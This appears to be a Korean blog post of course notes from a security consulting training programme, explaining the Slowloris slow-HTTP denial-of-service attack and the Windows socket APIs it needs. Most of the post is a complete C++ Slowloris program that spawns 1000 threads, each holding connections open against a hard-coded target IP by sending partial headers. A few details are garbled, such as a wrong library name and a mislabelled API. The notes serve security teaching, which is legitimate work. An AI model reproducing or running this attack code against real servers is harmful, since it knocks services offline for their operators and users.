기타 교육/정보보호 컨설팅 전문가 양성과정
10 - 악성코드 분석 1(간단한 실습)
Royal!
2021. 6. 9. 17:38
728x90
반응형
실습
1. 제작 - Slowloris(동물이름과 똑같다)
특징 : 엄청 느린 Dos 공격이다. 패킷의 Header를 계속 보내서 Session을 유지한다. 1대의 PC와 1대의 Server서버이면 크게 상관 없지만, 몇 만대의 PC가 계속 세션을 유지하면 서버에 과부하가 생긴다.
제작 환경
Microsoft Visual Studio 2019
C++ language
제작 필수 API
WSAStartup() : WS2_32.dll을 사용 할 수 있도록 초기화 하는데 사용
gethostbyname() : IP주소를 알아낼때 사용
CreateThread() : Thread 생성
socket() : 데이터 전송에 사용되는 소켓을 생성
connect() : 서버에 연결
send() : 데이터 전송
Sleep() : 대기
Closesocket() : 이미지 삭제
Debug 모드에서 Release모드로 속성을 바꿔야 한다.(용량 및 실행 여부 차이)
VS Studio에서 런타임 라이브러리에서 다중 스레드로 변경
코드 생성
#include<stdio.h>
#include<Winsock2.h>
#pragma comment(lib, "ws_32.lib")
DWORD WINAPI SlowlorisThread(PVOID p)
{
SOCKET s;
sockaddr_in* victim;
char header[] = "GET /";
char a = 'A';
int n;
victim = (sockaddr_in*)p;
while (1)
{
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
//소켓이 제대로 생성이 되었다면
if (s != INVALID_SOCKET)
{
//접속 시도하고
connect(s, (sockaddr*)victim, sizeof(sockaddr_in));
//헤더 날림
send(s, header, sizeof(header) * 1, 0);
while (1)
{
n = send(s, &a, 1, 0);
if (n == SOCKET_ERROR)
{
break;
}
//하나 날리고 쉬고 하나 날리고 쉬고를 반복
Sleep(100);
}
}
}
}
int main() {
WSADATA WD;
ULONG i;
hostent* host;
sockaddr_in victim;
WSAStartup(0X202, &WD); /* 윈도우 소켓 사용준비 */
char victim_ip[] = "192.168.10.1"; /*공격대상 ip입력 */
host = gethostbyname(victim_ip);
victim.sin_family = AF_INET;
victim.sin_addr.S_un.S_addr = *(PULONG)host->h_addr;
printf("\nCreating thrade for slowloris is attack\n");
/* 공격 스레드 생성*/
for (i = 0; i < 1000; i++)
{
CreateThread(NULL, 0, SlowlorisThread, &victim, 0, NULL);
}
printf("\nAttack started\n");
printf("\nPlease ENTER anykey to stip attack\n");
getchar();
return 0;
}
이미지 Password(패스워드) : 감염
CyberCher
키값 a를 주고 192.168.10.1(공격 대상 서버)
악성 코드 분석
사전지식
- 컴파일/디컴파일(컴파일된 exe를 다시 source로 만드는 것을 디컴파일)
- 어셈블리어
- 레지스터
728x90
반응형